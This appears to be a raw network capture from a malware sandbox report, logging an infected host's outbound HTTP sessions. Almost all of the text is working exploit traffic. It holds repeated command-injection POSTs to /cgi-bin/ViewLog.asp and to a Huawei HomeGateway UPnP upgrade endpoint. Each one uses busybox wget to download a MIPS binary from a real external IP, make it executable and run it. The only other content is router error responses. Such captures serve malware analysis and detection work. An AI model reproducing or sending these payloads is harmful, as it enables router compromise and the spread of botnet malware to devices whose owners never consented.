                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                508192.168.2.155179062.29.31.1118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.577585936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                509192.168.2.155410062.29.76.798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.577805042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                510192.168.2.155492094.110.176.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.725485086 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                511192.168.2.155178285.214.138.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.735985994 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:11.935590029 CET358INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:11 GMT
                                                Server: Apache
                                                Content-Length: 126
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e
                                                Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                512192.168.2.153286262.29.26.608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.759699106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                513192.168.2.155858894.120.249.918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.796463013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                514192.168.2.153412862.202.170.78080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:12.320903063 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:16.505402088 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                515192.168.2.154977885.56.223.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:14.582747936 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:14.804625034 CET466INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:26:37 GMT
                                                Server: Webs
                                                X-Frame-Options: SAMEORIGIN
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=180, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                516192.168.2.154023485.95.146.378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:14.679778099 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:15.007740974 CET313INHTTP/1.1 501 Not Implemented
                                                Connection: Keep-Alive
                                                Content-Length: 121
                                                Date: Thu, 23 Nov 2023 04:20:12 GMT
                                                Expires: 0
                                                Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                517192.168.2.154284262.48.149.2228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:15.001576900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                518192.168.2.155979085.187.6.1048080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:15.019860029 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:15.261269093 CET163INHTTP/1.1 302 Found
                                                Location: https://192.168.0.14:443/cgi-bin/ViewLog.asp
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                519192.168.2.1534778156.254.69.9537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:15.551794052 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:17.177278042 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:19.097390890 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:22.905174017 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
